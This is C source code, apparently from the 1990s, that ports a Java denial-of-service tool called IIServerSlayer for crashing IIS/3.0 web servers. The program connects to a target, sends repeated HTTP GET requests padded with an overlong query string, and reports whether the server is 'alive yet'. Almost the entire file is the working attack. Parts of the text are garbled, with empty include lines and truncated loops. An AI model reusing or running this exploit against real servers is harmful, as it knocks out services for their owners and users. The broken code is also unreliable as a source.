/* Some days ago I found the page http://www.eden.com/~tfast/jihad.html Then I found the java program IIServerSlayer.class made by Todd Fast , the author of the web pages. Now I have ported that program in gcc from java using strace and disassembling IIServerSlayer.class with javap (part of jdk). For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2 and glibc. by Andrea Arcangeli */ #include #include #include #include #include #include #include #include #include int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(2); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(3); } return 0; } char *generate_die_string(int lenght) { char letter='X'; char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str; int i; str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1); strcpy(str,str_begin); for(i=strlen(str_begin);i [string_lenght] [port]\n",argv[0]); printf("[-v] = verbose mode to view the server reply\n"); printf("[-f] = force running over non or patched IIS/3.0 web server\n"); exit(0); } for(i=1;i param+2) lenght = atoi(argv[param+2]); if(argc > param+3) port = atoi(argv[param+3]); for(i=0;i<3;i++,lenght++) { if(i) IIServerSlayer(argv[param+1],lenght,port,flags); else IIServerSlayer(argv[param+1],0,port,flags); if(i == 1 || i == 0) lenght--; } if((pid = fork())) { if(pid == -1) { perror("I can' t fork\n"); exit(-1); } usleep(60000000); /* wait for 1 minute */ kill(pid,SIGTERM); } else { IIServerSlayer(argv[param+1],lenght,port,flags); printf("Sorry, %s is alive yet\n",argv[param+1]); } exit(0); }